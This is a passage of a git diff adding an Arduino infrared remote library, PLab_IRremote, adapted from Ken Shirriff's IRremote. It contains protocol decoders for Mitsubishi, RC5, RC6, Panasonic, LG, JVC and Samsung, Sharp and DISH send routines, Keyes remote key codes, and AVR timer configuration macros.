IRrecv::decodeMitsubishi(decode_results *results) { + // Serial.print("?!? decoding Mitsubishi:");Serial.print(irparams.rawlen); Serial.print(" want "); Serial.println( 2 * MITSUBISHI_BITS + 2); + long data = 0; + if (irparams.rawlen < 2 * MITSUBISHI_BITS + 2) { + return ERR; + } + int offset = 0; // Skip first space + // Initial space + /* Put this back in for debugging - note can't use #DEBUG as if Debug on we don't see the repeat cos of the delay + Serial.print("IR Gap: "); + Serial.println( results->rawbuf[offset]); + Serial.println( "test against:"); + Serial.println(results->rawbuf[offset]); + */ + /* Not seeing double keys from Mitsubishi + if (results->rawbuf[offset] < MITSUBISHI_DOUBLE_SPACE_USECS) { + // Serial.print("IR Gap found: "); + results->bits = 0; + results->value = REPEAT; + results->decode_type = MITSUBISHI; + return DECODED; + } + */ + offset++; + + // Typical + // 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + + // Initial Space + if (!MATCH_MARK(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + return ERR; + } + offset++; + while (offset + 1 < irparams.rawlen) { + if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ONE_MARK)) { + data = (data << 1) | 1; + } + else if (MATCH_MARK(results->rawbuf[offset], MITSUBISHI_ZERO_MARK)) { + data <<= 1; + } + else { + // Serial.println("A"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], MITSUBISHI_HDR_SPACE)) { + // Serial.println("B"); Serial.println(offset); Serial.println(results->rawbuf[offset]); + break; + } + offset++; + } + + // Success + results->bits = (offset - 1) / 2; + if (results->bits < MITSUBISHI_BITS) { + results->bits = 0; + return ERR; + } + results->value = data; + results->decode_type = MITSUBISHI; + return DECODED; +} + + +// Gets one undecoded level at a time from the raw buffer. +// The RC5/6 decoding is easier if the data is broken into time intervals. +// E.g. if the buffer has MARK for 2 time intervals and SPACE for 1, +// successive calls to getRClevel will return MARK, MARK, SPACE. +// offset and used are updated to keep track of the current position. +// t1 is the time interval for a single bit in microseconds. +// Returns -1 for error (measured time interval is not a multiple of t1). +int IRrecv::getRClevel(decode_results *results, int *offset, int *used, int t1) { + if (*offset >= results->rawlen) { + // After end of recorded buffer, assume SPACE. + return SPACE; + } + int width = results->rawbuf[*offset]; + int val = ((*offset) % 2) ? MARK : SPACE; + int correction = (val == MARK) ? MARK_EXCESS : - MARK_EXCESS; + + int avail; + if (MATCH(width, t1 + correction)) { + avail = 1; + } + else if (MATCH(width, 2*t1 + correction)) { + avail = 2; + } + else if (MATCH(width, 3*t1 + correction)) { + avail = 3; + } + else { + return -1; + } + + (*used)++; + if (*used >= avail) { + *used = 0; + (*offset)++; + } +#ifdef DEBUG + if (val == MARK) { + Serial.println("MARK"); + } + else { + Serial.println("SPACE"); + } +#endif + return val; +} + +long IRrecv::decodeRC5(decode_results *results) { + if (irparams.rawlen < MIN_RC5_SAMPLES + 2) { + return ERR; + } + int offset = 1; // Skip gap space + long data = 0; + int used = 0; + // Get start bits + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != SPACE) return ERR; + if (getRClevel(results, &offset, &used, RC5_T1) != MARK) return ERR; + int nbits; + for (nbits = 0; offset < irparams.rawlen; nbits++) { + int levelA = getRClevel(results, &offset, &used, RC5_T1); + int levelB = getRClevel(results, &offset, &used, RC5_T1); + if (levelA == SPACE && levelB == MARK) { + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == MARK && levelB == SPACE) { + // zero bit + data <<= 1; + } + else { + return ERR; + } + } + + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC5; + return DECODED; +} + +long IRrecv::decodeRC6(decode_results *results) { + if (results->rawlen < MIN_RC6_SAMPLES) { + return ERR; + } + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], RC6_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_SPACE(results->rawbuf[offset], RC6_HDR_SPACE)) { + return ERR; + } + offset++; + long data = 0; + int used = 0; + // Get start bit (1) + if (getRClevel(results, &offset, &used, RC6_T1) != MARK) return ERR; + if (getRClevel(results, &offset, &used, RC6_T1) != SPACE) return ERR; + int nbits; + for (nbits = 0; offset < results->rawlen; nbits++) { + int levelA, levelB; // Next two levels + levelA = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelA != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + levelB = getRClevel(results, &offset, &used, RC6_T1); + if (nbits == 3) { + // T bit is double wide; make sure second half matches + if (levelB != getRClevel(results, &offset, &used, RC6_T1)) return ERR; + } + if (levelA == MARK && levelB == SPACE) { // reversed compared to RC5 + // 1 bit + data = (data << 1) | 1; + } + else if (levelA == SPACE && levelB == MARK) { + // zero bit + data <<= 1; + } + else { + return ERR; // Error + } + } + // Success + results->bits = nbits; + results->value = data; + results->decode_type = RC6; + return DECODED; +} +long IRrecv::decodePanasonic(decode_results *results) { + unsigned long long data = 0; + int offset = 1; + + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_MARK)) { + return ERR; + } + offset++; + if (!MATCH_MARK(results->rawbuf[offset], PANASONIC_HDR_SPACE)) { + return ERR; + } + offset++; + + // decode address + for (int i = 0; i < PANASONIC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset++], PANASONIC_BIT_MARK)) { + return ERR; + } + if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ONE_SPACE)) { + data = (data << 1) | 1; + } else if (MATCH_SPACE(results->rawbuf[offset],PANASONIC_ZERO_SPACE)) { + data <<= 1; + } else { + return ERR; + } + offset++; + } + results->value = (unsigned long)data; + results->panasonicAddress = (unsigned int)(data >> 32); + results->decode_type = PANASONIC; + results->bits = PANASONIC_BITS; + return DECODED; +} + +long IRrecv::decodeLG(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], LG_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * LG_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], LG_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < LG_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], LG_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], LG_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], LG_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], LG_BIT_MARK)){ + return ERR; + } + // Success + results->bits = LG_BITS; + results->value = data; + results->decode_type = LG; + return DECODED; +} + + +long IRrecv::decodeJVC(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Check for repeat + if (irparams.rawlen - 1 == 33 && + MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK) && + MATCH_MARK(results->rawbuf[irparams.rawlen-1], JVC_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = JVC; + return DECODED; + } + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], JVC_HDR_MARK)) { + return ERR; + } + offset++; + if (irparams.rawlen < 2 * JVC_BITS + 1 ) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], JVC_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < JVC_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], JVC_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], JVC_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + //Stop bit + if (!MATCH_MARK(results->rawbuf[offset], JVC_BIT_MARK)){ + return ERR; + } + // Success + results->bits = JVC_BITS; + results->value = data; + results->decode_type = JVC; + return DECODED; +} + +// SAMSUNGs have a repeat only 4 items long +long IRrecv::decodeSAMSUNG(decode_results *results) { + long data = 0; + int offset = 1; // Skip first space + // Initial mark + if (!MATCH_MARK(results->rawbuf[offset], SAMSUNG_HDR_MARK)) { + return ERR; + } + offset++; + // Check for repeat + if (irparams.rawlen == 4 && + MATCH_SPACE(results->rawbuf[offset], SAMSUNG_RPT_SPACE) && + MATCH_MARK(results->rawbuf[offset+1], SAMSUNG_BIT_MARK)) { + results->bits = 0; + results->value = REPEAT; + results->decode_type = SAMSUNG; + return DECODED; + } + if (irparams.rawlen < 2 * SAMSUNG_BITS + 4) { + return ERR; + } + // Initial space + if (!MATCH_SPACE(results->rawbuf[offset], SAMSUNG_HDR_SPACE)) { + return ERR; + } + offset++; + for (int i = 0; i < SAMSUNG_BITS; i++) { + if (!MATCH_MARK(results->rawbuf[offset], SAMSUNG_BIT_MARK)) { + return ERR; + } + offset++; + if (MATCH_SPACE(results->rawbuf[offset], SAMSUNG_ONE_SPACE)) { + data = (data << 1) | 1; + } + else if (MATCH_SPACE(results->rawbuf[offset], SAMSUNG_ZERO_SPACE)) { + data <<= 1; + } + else { + return ERR; + } + offset++; + } + // Success + results->bits = SAMSUNG_BITS; + results->value = data; + results->decode_type = SAMSUNG; + return DECODED; +} + +/* ----------------------------------------------------------------------- + * hashdecode - decode an arbitrary IR code. + * Instead of decoding using a standard encoding scheme + * (e.g. Sony, NEC, RC5), the code is hashed to a 32-bit value. + * + * The algorithm: look at the sequence of MARK signals, and see if each one + * is shorter (0), the same length (1), or longer (2) than the previous. + * Do the same with the SPACE signals. Hszh the resulting sequence of 0's, + * 1's, and 2's to a 32-bit value. This will give a unique value for each + * different code (probably), for most code systems. + * + * http://arcfn.com/2010/01/using-arbitrary-remotes-with-arduino.html + */ + +// Compare two tick values, returning 0 if newval is shorter, +// 1 if newval is equal, and 2 if newval is longer +// Use a tolerance of 20% +int IRrecv::compare(unsigned int oldval, unsigned int newval) { + if (newval < oldval * .8) { + return 0; + } + else if (oldval < newval * .8) { + return 2; + } + else { + return 1; + } +} + +// Use FNV hash algorithm: http://isthe.com/chongo/tech/comp/fnv/#FNV-param +#define FNV_PRIME_32 16777619 +#define FNV_BASIS_32 2166136261 + +/* Converts the raw code values into a 32-bit hash code. + * Hopefully this code is unique for each button. + * This isn't a "real" decoding, just an arbitrary value. + */ +long IRrecv::decodeHash(decode_results *results) { + // Require at least 6 samples to prevent triggering on noise + if (results->rawlen < 6) { + return ERR; + } + long hash = FNV_BASIS_32; + for (int i = 1; i+2 < results->rawlen; i++) { + int value = compare(results->rawbuf[i], results->rawbuf[i+2]); + // Add value into the hash + hash = (hash * FNV_PRIME_32) ^ value; + } + results->value = hash; + results->bits = 32; + results->decode_type = UNKNOWN; + return DECODED; +} + +/* Sharp and DISH support by Todd Treece ( http://unionbridge.org/design/ircommand ) + +The Dish send function needs to be repeated 4 times, and the Sharp function +has the necessary repeat built in because of the need to invert the signal. + +Sharp protocol documentation: +http://www.sbprojects.com/knowledge/ir/sharp.htm + +Here are the LIRC files that I found that seem to match the remote codes +from the oscilloscope: + +Sharp LCD TV: +http://lirc.sourceforge.net/remotes/sharp/GA538WJSA + +DISH NETWORK (echostar 301): +http://lirc.sourceforge.net/remotes/echostar/301_501_3100_5100_58xx_59xx + +For the DISH codes, only send the last for characters of the hex. +i.e. use 0x1C10 instead of 0x0000000000001C10 which is listed in the +linked LIRC file. +*/ + +void IRsend::sendSharpRaw(unsigned long data, int nbits) { + enableIROut(38); + + // Sending codes in bursts of 3 (normal, inverted, normal) makes transmission + // much more reliable. That's the exact behaviour of CD-S6470 remote control. + for (int n = 0; n < 3; n++) { + for (int i = 1 << (nbits-1); i > 0; i>>=1) { + if (data & i) { + mark(SHARP_BIT_MARK); + space(SHARP_ONE_SPACE); + } + else { + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + } + } + + mark(SHARP_BIT_MARK); + space(SHARP_ZERO_SPACE); + delay(40); + + data = data ^ SHARP_TOGGLE_MASK; + } +} + +// Sharp send compatible with data obtained through decodeSharp +void IRsend::sendSharp(unsigned int address, unsigned int command) { + sendSharpRaw((address << 10) | (command << 2) | 2, 15); +} + +void IRsend::sendDISH(unsigned long data, int nbits) { + enableIROut(56); + mark(DISH_HDR_MARK); + space(DISH_HDR_SPACE); + for (int i = 0; i < nbits; i++) { + if (data & DISH_TOP_BIT) { + mark(DISH_BIT_MARK); + space(DISH_ONE_SPACE); + } + else { + mark(DISH_BIT_MARK); + space(DISH_ZERO_SPACE); + } + data <<= 1; + } +} diff --git a/libraries/PLabLib1/PLab_IRremote.h b/libraries/PLabLib1/PLab_IRremote.h new file mode 100755 index 0000000..89cdc90 --- /dev/null +++ b/libraries/PLabLib1/PLab_IRremote.h @@ -0,0 +1,149 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.htm http://arcfn.com + * Edited by Mitra to add new controller SANYO + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) +* LG added by Darryl Smith (based on the JVC protocol) + */ + +#ifndef PLab_IRremote_h +#define PLab_IRremote_h + +// Dag Svan¾s 2015. Added codes for Keyes IR remote + +#define IR_UP 0xFF629D +#define IR_LEFT 0xFF22DD +#define IR_OK 0xFF02FD +#define IR_RIGHT 0xFFC23D +#define IR_DOWN 0xFFA857 +#define IR_1 0xFF6897 +#define IR_2 0xFF9867 +#define IR_3 0xFFB04F +#define IR_4 0xFF30CF +#define IR_5 0xFF18E7 +#define IR_6 0xFF7A85 +#define IR_7 0xFF10EF +#define IR_8 0xFF38C7 +#define IR_9 0xFF5AA5 +#define IR_STAR 0xFF42BD +#define IR_0 0xFF4AB5 +#define IR_HASH 0xFF52AD +#define IR_REPEAT 0xFFFFFFFF + +// The following are compile-time library options. +// If you change them, recompile the library. +// If DEBUG is defined, a lot of debugging output will be printed during decoding. +// TEST must be defined for the IRtest unittests to work. It will make some +// methods virtual, which will be slightly slower, which is why it is optional. +// #define DEBUG +// #define TEST + +// Results returned from the decoder +class decode_results { +public: + int decode_type; // NEC, SONY, RC5, UNKNOWN + union { // This is used for decoding Panasonic and Sharp data + unsigned int panasonicAddress; + unsigned int sharpAddress; + }; + unsigned long value; // Decoded value + int bits; // Number of bits in decoded value + volatile unsigned int *rawbuf; // Raw intervals in .5 us ticks + int rawlen; // Number of records in rawbuf. +}; + +// Values for decode_type +#define NEC 1 +#define SONY 2 +#define RC5 3 +#define RC6 4 +#define DISH 5 +#define SHARP 6 +#define PANASONIC 7 +#define JVC 8 +#define SANYO 9 +#define MITSUBISHI 10 +#define SAMSUNG 11 +#define LG 12 +#define UNKNOWN -1 + +// Decoded value for NEC when a repeat code is received +#define REPEAT 0xffffffff + +// main class for receiving IR +class IRrecv +{ +public: + IRrecv(int recvpin); + void blink13(int blinkflag); + int decode(decode_results *results); + void enableIRIn(); + void resume(); +private: + // These are called by decode + int getRClevel(decode_results *results, int *offset, int *used, int t1); + long decodeNEC(decode_results *results); + long decodeSony(decode_results *results); + long decodeSanyo(decode_results *results); + long decodeMitsubishi(decode_results *results); + long decodeRC5(decode_results *results); + long decodeRC6(decode_results *results); + long decodePanasonic(decode_results *results); + long decodeLG(decode_results *results); + long decodeJVC(decode_results *results); + long decodeSAMSUNG(decode_results *results); + long decodeHash(decode_results *results); + int compare(unsigned int oldval, unsigned int newval); + +} +; + +// Only used for testing; can remove virtual for shorter code +#ifdef TEST +#define VIRTUAL virtual +#else +#define VIRTUAL +#endif + +class IRsend +{ +public: + IRsend() {} + void sendNEC(unsigned long data, int nbits); + void sendSony(unsigned long data, int nbits); + // Neither Sanyo nor Mitsubishi send is implemented yet + // void sendSanyo(unsigned long data, int nbits); + // void sendMitsubishi(unsigned long data, int nbits); + void sendRaw(unsigned int buf[], int len, int hz); + void sendRC5(unsigned long data, int nbits); + void sendRC6(unsigned long data, int nbits); + void sendDISH(unsigned long data, int nbits); + void sendSharp(unsigned int address, unsigned int command); + void sendSharpRaw(unsigned long data, int nbits); + void sendPanasonic(unsigned int address, unsigned long data); + void sendJVC(unsigned long data, int nbits, int repeat); // *Note instead of sending the REPEAT constant if you want the JVC repeat signal sent, send the original code value and change the repeat argument from 0 to 1. JVC protocol repeats by skipping the header NOT by sending a separate code value like NEC does. + // private: + void sendSAMSUNG(unsigned long data, int nbits); + void enableIROut(int khz); + VIRTUAL void mark(int usec); + VIRTUAL void space(int usec); +} +; + +// Some useful constants + +#define USECPERTICK 50 // microseconds per clock interrupt tick +#define RAWBUF 100 // Length of raw duration buffer + +// Marks tend to be 100us too long, and spaces 100us too short +// when received due to sensor lag. +#define MARK_EXCESS 10 // DS: was 100. + +#endif diff --git a/libraries/PLabLib1/PLab_IRremoteInt.h b/libraries/PLabLib1/PLab_IRremoteInt.h new file mode 100755 index 0000000..e1fe0d4 --- /dev/null +++ b/libraries/PLabLib1/PLab_IRremoteInt.h @@ -0,0 +1,516 @@ +/* + * IRremote + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * For details, see http://arcfn.com/2009/08/multi-protocol-infrared-remote-library.html + * + * Modified by Paul Stoffregen to support other boards and timers + * + * Interrupt code based on NECIRrcv by Joe Knapp + * http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1210243556 + * Also influenced by http://zovirl.com/2008/11/12/building-a-universal-remote-with-an-arduino/ + * + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#ifndef PLab_IRremoteint_h +#define PLab_IRremoteint_h + +#if defined(ARDUINO) && ARDUINO >= 100 +#include +#else +#include +#endif + + +// define which timer to use +// +// Uncomment the timer you wish to use on your board. If you +// are using another library which uses timer2, you have options +// to switch IRremote to use a different timer. + +// Arduino Mega +#if defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) + //#define IR_USE_TIMER1 // tx = pin 11 + #define IR_USE_TIMER2 // tx = pin 9 + //#define IR_USE_TIMER3 // tx = pin 5 + //#define IR_USE_TIMER4 // tx = pin 6 + //#define IR_USE_TIMER5 // tx = pin 46 + +// Teensy 1.0 +#elif defined(__AVR_AT90USB162__) + #define IR_USE_TIMER1 // tx = pin 17 + +// Teensy 2.0 +#elif defined(__AVR_ATmega32U4__) + //#define IR_USE_TIMER1 // tx = pin 14 + //#define IR_USE_TIMER3 // tx = pin 9 + #define IR_USE_TIMER4_HS // tx = pin 10 + +// Teensy 3.0 +#elif defined(__MK20DX128__) + #define IR_USE_TIMER_CMT // tx = pin 5 + +// Teensy++ 1.0 & 2.0 +#elif defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__) + //#define IR_USE_TIMER1 // tx = pin 25 + #define IR_USE_TIMER2 // tx = pin 1 + //#define IR_USE_TIMER3 // tx = pin 16 + +// Sanguino +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) + //#define IR_USE_TIMER1 // tx = pin 13 + #define IR_USE_TIMER2 // tx = pin 14 + +// Atmega8 +#elif defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define IR_USE_TIMER1 // tx = pin 9 + +// Arduino Duemilanove, Diecimila, LilyPad, Mini, Fio, etc +#else + //#define IR_USE_TIMER1 // tx = pin 9 + #define IR_USE_TIMER2 // tx = pin 3 +#endif + + + +#ifdef F_CPU +#define SYSCLOCK F_CPU // main Arduino clock +#else +#define SYSCLOCK 16000000 // main Arduino clock +#endif + +#define ERR 0 +#define DECODED 1 + + +// defines for setting and clearing register bits +#ifndef cbi +#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit)) +#endif +#ifndef sbi +#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit)) +#endif + +// Pulse parms are *50-100 for the Mark and *50+100 for the space +// First MARK is the one after the long gap +// pulse parameters in usec +#define NEC_HDR_MARK 9000 +#define NEC_HDR_SPACE 4500 +#define NEC_BIT_MARK 560 +#define NEC_ONE_SPACE 1600 +#define NEC_ZERO_SPACE 560 +#define NEC_RPT_SPACE 2250 + +#define SONY_HDR_MARK 2400 +#define SONY_HDR_SPACE 600 +#define SONY_ONE_MARK 1200 +#define SONY_ZERO_MARK 600 +#define SONY_RPT_LENGTH 45000 +#define SONY_DOUBLE_SPACE_USECS 500 // usually ssee 713 - not using ticks as get number wrapround + +// SA 8650B +#define SANYO_HDR_MARK 3500 // seen range 3500 +#define SANYO_HDR_SPACE 950 // seen 950 +#define SANYO_ONE_MARK 2400 // seen 2400 +#define SANYO_ZERO_MARK 700 // seen 700 +#define SANYO_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +#define SANYO_RPT_LENGTH 45000 + +// Mitsubishi RM 75501 +// 14200 7 41 7 42 7 42 7 17 7 17 7 18 7 41 7 18 7 17 7 17 7 18 7 41 8 17 7 17 7 18 7 17 7 + +// #define MITSUBISHI_HDR_MARK 250 // seen range 3500 +#define MITSUBISHI_HDR_SPACE 350 // 7*50+100 +#define MITSUBISHI_ONE_MARK 1950 // 41*50-100 +#define MITSUBISHI_ZERO_MARK 750 // 17*50-100 +// #define MITSUBISHI_DOUBLE_SPACE_USECS 800 // usually ssee 713 - not using ticks as get number wrapround +// #define MITSUBISHI_RPT_LENGTH 45000 + + +#define RC5_T1 889 +#define RC5_RPT_LENGTH 46000 + +#define RC6_HDR_MARK 2666 +#define RC6_HDR_SPACE 889 +#define RC6_T1 444 +#define RC6_RPT_LENGTH 46000 + +#define SHARP_BIT_MARK 245 +#define SHARP_ONE_SPACE 1805 +#define SHARP_ZERO_SPACE 795 +#define SHARP_GAP 600000 +#define SHARP_TOGGLE_MASK 0x3FF +#define SHARP_RPT_SPACE 3000 + +#define DISH_HDR_MARK 400 +#define DISH_HDR_SPACE 6100 +#define DISH_BIT_MARK 400 +#define DISH_ONE_SPACE 1700 +#define DISH_ZERO_SPACE 2800 +#define DISH_RPT_SPACE 6200 +#define DISH_TOP_BIT 0x8000 + +#define PANASONIC_HDR_MARK 3502 +#define PANASONIC_HDR_SPACE 1750 +#define PANASONIC_BIT_MARK 502 +#define PANASONIC_ONE_SPACE 1244 +#define PANASONIC_ZERO_SPACE 400 + +#define JVC_HDR_MARK 8000 +#define JVC_HDR_SPACE 4000 +#define JVC_BIT_MARK 600 +#define JVC_ONE_SPACE 1600 +#define JVC_ZERO_SPACE 550 +#define JVC_RPT_LENGTH 60000 + +#define LG_HDR_MARK 8000 +#define LG_HDR_SPACE 4000 +#define LG_BIT_MARK 600 +#define LG_ONE_SPACE 1600 +#define LG_ZERO_SPACE 550 +#define LG_RPT_LENGTH 60000 + +#define SAMSUNG_HDR_MARK 5000 +#define SAMSUNG_HDR_SPACE 5000 +#define SAMSUNG_BIT_MARK 560 +#define SAMSUNG_ONE_SPACE 1600 +#define SAMSUNG_ZERO_SPACE 560 +#define SAMSUNG_RPT_SPACE 2250 + + +#define SHARP_BITS 15 +#define DISH_BITS 16 + +#define TOLERANCE 25 // percent tolerance in measurements +#define LTOL (1.0 - TOLERANCE/100.) +#define UTOL (1.0 + TOLERANCE/100.) + +#define _GAP 5000 // Minimum map between transmissions +#define GAP_TICKS (_GAP/USECPERTICK) + +#define TICKS_LOW(us) (int) (((us)*LTOL/USECPERTICK)) +#define TICKS_HIGH(us) (int) (((us)*UTOL/USECPERTICK + 1)) + +// receiver states +#define STATE_IDLE 2 +#define STATE_MARK 3 +#define STATE_SPACE 4 +#define STATE_STOP 5 + +// information for the interrupt handler +typedef struct { + uint8_t recvpin; // pin for IR data from detector + uint8_t rcvstate; // state machine + uint8_t blinkflag; // TRUE to enable blinking of pin 13 on IR processing + unsigned int timer; // state timer, counts 50uS ticks. + unsigned int rawbuf[RAWBUF]; // raw data + uint8_t rawlen; // counter of entries in rawbuf +} +irparams_t; + +// Defined in IRremote.cpp +extern volatile irparams_t irparams; + +// IR detector output is active low +#define MARK 0 +#define SPACE 1 + +#define TOPBIT 0x80000000 + +#define NEC_BITS 32 +#define SONY_BITS 12 +#define SANYO_BITS 12 +#define MITSUBISHI_BITS 16 +#define MIN_RC5_SAMPLES 11 +#define MIN_RC6_SAMPLES 1 +#define PANASONIC_BITS 48 +#define JVC_BITS 16 +#define LG_BITS 28 +#define SAMSUNG_BITS 32 + + + + +// defines for timer2 (8 bits) +#if defined(IR_USE_TIMER2) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR2A |= _BV(COM2B1)) +#define TIMER_DISABLE_PWM (TCCR2A &= ~(_BV(COM2B1))) +#define TIMER_ENABLE_INTR (TIMSK2 = _BV(OCIE2A)) +#define TIMER_DISABLE_INTR (TIMSK2 = 0) +#define TIMER_INTR_NAME TIMER2_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint8_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR2A = _BV(WGM20); \ + TCCR2B = _BV(WGM22) | _BV(CS20); \ + OCR2A = pwmval; \ + OCR2B = pwmval / 3; \ +}) +#define TIMER_COUNT_TOP (SYSCLOCK * USECPERTICK / 1000000) +#if (TIMER_COUNT_TOP < 256) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS20); \ + OCR2A = TIMER_COUNT_TOP; \ + TCNT2 = 0; \ +}) +#else +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS21); \ + OCR2A = TIMER_COUNT_TOP / 8; \ + TCNT2 = 0; \ +}) +#endif +#if defined(CORE_OC2B_PIN) +#define TIMER_PWM_PIN CORE_OC2B_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 9 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 14 /* Sanguino */ +#else +#define TIMER_PWM_PIN 3 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer1 (16 bits) +#elif defined(IR_USE_TIMER1) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR1A |= _BV(COM1A1)) +#define TIMER_DISABLE_PWM (TCCR1A &= ~(_BV(COM1A1))) +#if defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define TIMER_ENABLE_INTR (TIMSK = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK = 0) +#else + #define TIMER_ENABLE_INTR (TIMSK1 = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK1 = 0) +#endif +#define TIMER_INTR_NAME TIMER1_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR1A = _BV(WGM11); \ + TCCR1B = _BV(WGM13) | _BV(CS10); \ + ICR1 = pwmval; \ + OCR1A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR1A = 0; \ + TCCR1B = _BV(WGM12) | _BV(CS10); \ + OCR1A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT1 = 0; \ +}) +#if defined(CORE_OC1A_PIN) +#define TIMER_PWM_PIN CORE_OC1A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 11 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 13 /* Sanguino */ +#else +#define TIMER_PWM_PIN 9 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer3 (16 bits) +#elif defined(IR_USE_TIMER3) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR3A |= _BV(COM3A1)) +#define TIMER_DISABLE_PWM (TCCR3A &= ~(_BV(COM3A1))) +#define TIMER_ENABLE_INTR (TIMSK3 = _BV(OCIE3A)) +#define TIMER_DISABLE_INTR (TIMSK3 = 0) +#define TIMER_INTR_NAME TIMER3_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR3A = _BV(WGM31); \ + TCCR3B = _BV(WGM33) | _BV(CS30); \ + ICR3 = pwmval; \ + OCR3A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR3A = 0; \ + TCCR3B = _BV(WGM32) | _BV(CS30); \ + OCR3A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT3 = 0; \ +}) +#if defined(CORE_OC3A_PIN) +#define TIMER_PWM_PIN CORE_OC3A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 5 /* Arduino Mega */ +#else +#error "Please add OC3A pin number here\n" +#endif + + +// defines for timer4 (10 bits, high speed option) +#elif defined(IR_USE_TIMER4_HS) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(TOIE4)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME 